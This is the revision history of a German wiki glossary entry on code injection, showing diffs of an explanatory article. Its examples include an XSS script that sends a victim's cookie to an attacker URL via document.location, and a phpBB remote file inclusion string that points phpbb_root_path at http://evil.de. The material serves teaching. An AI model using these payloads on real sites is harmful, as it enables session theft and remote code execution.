Code Injection - Versionsgeschichte

Kowa am 16. Mai 2019 um 13:34 Uhr

2019-05-16T13:34:31Z

← Nächstältere Version		Version vom 16. Mai 2019, 13:34 Uhr
Zeile 1:		Zeile 1:
	{{Qualität		{{Qualität
	\|correctness = 2		\|correctness = 2
	\|extent = 4		\|extent = 3
	\|numberOfReferences = 5		\|numberOfReferences = 5
	\|qualityOfReferences = 5		\|qualityOfReferences = 5

Kowa: /* Beispiel: Stehlen eines Cookies */

2019-05-16T13:33:46Z

Beispiel: Stehlen eines Cookies

← Nächstältere Version		Version vom 16. Mai 2019, 13:33 Uhr
Zeile 48:		Zeile 48:
	<source lang="html">		<source lang="html">
	https://www.buggysite.com/buggyscript.php?info=cook=some+interesting+content		https://www.buggysite.com/buggyscript.php?info=cook=some+interesting+content
	<source>		</source>

	Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.		Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.

Kowa am 16. Mai 2019 um 13:33 Uhr

2019-05-16T13:33:23Z

← Nächstältere Version		Version vom 16. Mai 2019, 13:33 Uhr
Zeile 6:		Zeile 6:
	\|conformance = 4		\|conformance = 4
	}}		}}
	=Definition=		==Definition==

	~~Codeinjektion~~ wird ~~bei~~ [[Cross Site Scripting]] ~~eingesetzt~~ und findet seinen Einsatz in variablen Bereichen dynamischer ~~Webseiten~~, also		Unter [[Code Injection]] versteht man, dass unerwünschter Code in eine Webanwendung eingeschleust wird,
			der künftig von Clients (Browser) oder sogar vom Server ausgeführt wird.
			[[Code Injection]] ist üblicherweise Bestandteil des [[Cross Site Scripting]] und findet seinen Einsatz in variablen Bereichen dynamischer Websites, also
	überall dort, wo Benutzer etwas selbstständig eintragen dürfen.		überall dort, wo Benutzer etwas selbstständig eintragen dürfen.

	=Bemerkungen=		==Bemerkungen==
	Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite		Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite
	dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes		dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes
Zeile 22:		Zeile 24:
	Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die		Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die
	Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den		Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den
	gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum ~~injizieren~~ von Code		gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum Injizieren von Code
	verwendet werden.		verwendet werden.

	=Beispiel: Stehlen eines Cookies=		==Beispiel: Stehlen eines Cookies==

	~~Eine~~ ungesicherte dynamische Seite, die mit PHP geschrieben wurde und ~~über~~ ein Titel- und Text-Feld ~~verfügt legt zunächst mit~~		Es sei eine ungesicherte dynamische Seite gegeben, die mit PHP geschrieben wurde und mit der ein Benutzer Kommentare erstellen und sich anzeigen lassen kann.
			Auf dieser Seite gebe es ein Formular mit einem Titel- und einem Text-Feld. Das PHP-Skript speichere im Browser des Benutzers ein Cookie:
	<~~pre~~>		<source lang="javascript">
	setcookie("~~xss~~" , "~~This~~ content ~~will be stored in a cookie~~" );		setcookie("cook" , "some interesting content" );
	</~~pre~~>		</source>

	~~ein Cookie mit dem Namen xss und dem Inhalt "This content will be stored in a cookie" beim Benutzer an.~~

	~~Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld).~~

	Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des		Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des
	Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:		Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:

	<~~pre~~>		<source lang="html">
	<script>		<script>
	document.location="~~http~~://www.~~evilsite~~.com/~~evilscript~~.php?info="+document.cookie;		document.location="https://www.buggysite.com/buggyscript.php?info="+document.cookie;
	</script>		</script>
	</~~pre~~>		</source>

	Anschließend wird im Browser, der folgende Link angezeigt:<br>		Anschließend wird im Browser der folgende Link angezeigt:<br>

	<~~pre~~>		<source lang="html">
	~~http~~://www.~~evilwebsite~~.com/~~evilscript~~.php?info=~~xss~~=~~This~~+content~~+will+be+stored+in+a+cookie~~		https://www.buggysite.com/buggyscript.php?info=cook=some+interesting+content
	<~~/pre~~>		<source>

	Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.		Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.

	=Beispiel: Umleitung einer Seite=		==Beispiel: Umleitung einer Seite==
	Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-		Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-
	oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP		oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP
	Anweisung anfällig ~~auf XSS, dies~~ wird mit einem Beispiel aus [[Rütten, Glemser (2006)]] vorgeführt.		Anweisung anfällig für Cross Site Scripting. Dies wird mit einem Beispiel aus [[Rütten, Glemser (2006)]] vorgeführt.

	Mit der Anweisung		Mit der Anweisung

	<~~pre~~>		<source lang="php">
	include_once($phpbb_root_path=’common.php’)		include_once($phpbb_root_path=’common.php’)
	</~~pre~~>		</source>

	wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,		wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,
	indem man ~~die dynamische Seite mit~~ folgendem Code ~~„fütterte“~~:		indem man folgendem Code injizierte:

	<~~pre~~>		<source lang="php">
	/plugin.php&phpbb_root_path=http://evil.de		/plugin.php&phpbb_root_path=http://evil.de
	</~~pre~~>		</source>

	Dies führte dazu, das statt der gewünschten Datei die Datei <code>http://evil.de/common.php</code> ausgeführt		Dies führte dazu, das statt der gewünschten Datei die Datei <code>http://evil.de/common.php</code> ausgeführt
	wurde.		wurde. Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP-Seiten.

	Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten.

	=Gängige Vertreter=		==Gängige Vertreter==
	*[[SQL Injection]], wird am häufigsten eingesetzt		*[[SQL Injection]], wird am häufigsten eingesetzt
	*[[LDAP Injection]]		*[[LDAP Injection]]
Zeile 83:		Zeile 79:
	*[[XPath Injection]]		*[[XPath Injection]]

	=Quellen=		==Quellen==
	* {{Quelle\|Sima, C. (2006): Locking the Door Behind You: Hacker Protection for Your Web Applications}}		* {{Quelle\|Sima, C. (2006): Locking the Door Behind You: Hacker Protection for Your Web Applications}}
	* {{Quelle\|Sullivan B. (2006): Malicious Code Injection: It's Not Just for SQL Anymore}}		* {{Quelle\|Sullivan B. (2006): Malicious Code Injection: It's Not Just for SQL Anymore}}
Zeile 96:		Zeile 92:
	* heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885		* heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885

	=Siehe auch=		==Siehe auch==

	*[[Cross Site Scripting]]		*[[Cross Site Scripting]]

Kowa am 26. Juni 2013 um 16:54 Uhr

2013-06-26T16:54:43Z

← Nächstältere Version		Version vom 26. Juni 2013, 16:54 Uhr
Zeile 6:		Zeile 6:
	\|conformance = 4		\|conformance = 4
	}}		}}

	=Definition=		=Definition=

Kowa am 22. Juni 2013 um 10:27 Uhr

2013-06-22T10:27:12Z

← Nächstältere Version		Version vom 22. Juni 2013, 10:27 Uhr
Zeile 1:		Zeile 1:
	{{Qualität		{{Qualität
	\|correctness = 1		\|correctness = 2
	\|extent = 4		\|extent = 4
	\|numberOfReferences = 5		\|numberOfReferences = 5

Kowa am 22. Juni 2013 um 10:25 Uhr

2013-06-22T10:25:05Z

← Nächstältere Version		Version vom 22. Juni 2013, 10:25 Uhr
Zeile 1:		Zeile 1:
			{{Qualität
			\|correctness = 1
			\|extent = 4
			\|numberOfReferences = 5
			\|qualityOfReferences = 5
			\|conformance = 4
			}}

	=Definition=		=Definition=

Zeile 94:		Zeile 102:
	*[[Whitelisting]]		*[[Whitelisting]]
	*[[Blacklisting]]		*[[Blacklisting]]


	[[Kategorie:Sicherheit]]		[[Kategorie:Sicherheit]]
	[[Kategorie:Glossar]]		[[Kategorie:Glossar]]

Kowa: /* Quellen */

2013-06-21T17:34:33Z

Quellen

← Nächstältere Version		Version vom 21. Juni 2013, 17:34 Uhr
Zeile 80:		Zeile 80:
	* {{Quelle\|Sullivan B. (2006): Malicious Code Injection: It's Not Just for SQL Anymore}}		* {{Quelle\|Sullivan B. (2006): Malicious Code Injection: It's Not Just for SQL Anymore}}
	* {{Quelle\|Rütten, Glemser (2006)}}		* {{Quelle\|Rütten, Glemser (2006)}}
	* {{Quelle\|Fuhrberg, Häger, Wolf (2001)}}		* {{Quelle\|Fuhrberg, Kai; Häger, Dirk; Wolf, Stefan (2001): Internet-Sicherheit}}
	* {{Quelle\|Schwenk (2002)}}		* {{Quelle\|Schwenk (2002)}}
	* {{Quelle\|Kyas (1999)}}		* {{Quelle\|Kyas (1999)}}

Kowa am 21. Juni 2013 um 17:30 Uhr

2013-06-21T17:30:51Z

← Nächstältere Version		Version vom 21. Juni 2013, 17:30 Uhr
Zeile 83:		Zeile 83:
	* {{Quelle\|Schwenk (2002)}}		* {{Quelle\|Schwenk (2002)}}
	* {{Quelle\|Kyas (1999)}}		* {{Quelle\|Kyas (1999)}}
	* [{{Quelle\|Nusser (1998)}}		* {{Quelle\|Nusser (1998)}}
	* {{Quelle\|Ziegler (2007)}}		* {{Quelle\|Ziegler (2007)}}
	* Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. Bericht der Arbeitsgruppe Verwaltungen und Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998		* Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. Bericht der Arbeitsgruppe Verwaltungen und Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998

Kowa am 12. September 2011 um 07:54 Uhr

2011-09-12T07:54:34Z

← Nächstältere Version		Version vom 12. September 2011, 07:54 Uhr
Zeile 77:		Zeile 77:

	=Quellen=		=Quellen=
	* [[Quelle::Sima, C. (2006): Locking the Door Behind You: Hacker Protection for Your Web Applications]]		* {{Quelle\|Sima, C. (2006): Locking the Door Behind You: Hacker Protection for Your Web Applications}}
	* [[Quelle::Sullivan B. (2006): Malicious Code Injection: It's Not Just for SQL Anymore]]		* {{Quelle\|Sullivan B. (2006): Malicious Code Injection: It's Not Just for SQL Anymore}}
	* [[Quelle::Rütten, Glemser (2006)]]		* {{Quelle\|Rütten, Glemser (2006)}}
	* [[Quelle::Fuhrberg, Häger, Wolf (2001)]]		* {{Quelle\|Fuhrberg, Häger, Wolf (2001)}}
	* [[Quelle::Schwenk (2002)]]		* {{Quelle\|Schwenk (2002)}}
	* [[Quelle::Kyas (1999)]]		* {{Quelle\|Kyas (1999)}}
	* [[Quelle::Nusser (1998)]]		* [{{Quelle\|Nusser (1998)}}
	* [[Quelle::Ziegler (2007)]]		* {{Quelle\|Ziegler (2007)}}
	* Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. Bericht der Arbeitsgruppe Verwaltungen und Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998		* Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. Bericht der Arbeitsgruppe Verwaltungen und Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998
	* XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html		* XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html

Kowa: Codeinjection wurde nach Code Injection verschoben

2011-09-11T17:13:45Z

Codeinjection wurde nach Code Injection verschoben

← Nächstältere Version	Version vom 11. September 2011, 17:13 Uhr
(kein Unterschied)

← Nächstältere Version		Version vom 21. Juni 2013, 17:34 Uhr
Zeile 80:		Zeile 80:
	* {{Quelle\|Sullivan B. (2006): Malicious Code Injection: It's Not Just for SQL Anymore}}		* {{Quelle\|Sullivan B. (2006): Malicious Code Injection: It's Not Just for SQL Anymore}}
	* {{Quelle\|Rütten, Glemser (2006)}}		* {{Quelle\|Rütten, Glemser (2006)}}
	* {{Quelle\|Fuhrberg, Häger, Wolf (2001)}}		* {{Quelle\|Fuhrberg, Kai; Häger, Dirk; Wolf, Stefan (2001): Internet-Sicherheit}}
	* {{Quelle\|Schwenk (2002)}}		* {{Quelle\|Schwenk (2002)}}
	* {{Quelle\|Kyas (1999)}}		* {{Quelle\|Kyas (1999)}}

← Nächstältere Version		Version vom 21. Juni 2013, 17:30 Uhr
Zeile 83:		Zeile 83:
	* {{Quelle\|Schwenk (2002)}}		* {{Quelle\|Schwenk (2002)}}
	* {{Quelle\|Kyas (1999)}}		* {{Quelle\|Kyas (1999)}}
	* [{{Quelle\|Nusser (1998)}}		* {{Quelle\|Nusser (1998)}}
	* {{Quelle\|Ziegler (2007)}}		* {{Quelle\|Ziegler (2007)}}
	* Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. Bericht der Arbeitsgruppe Verwaltungen und Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998		* Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. Bericht der Arbeitsgruppe Verwaltungen und Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998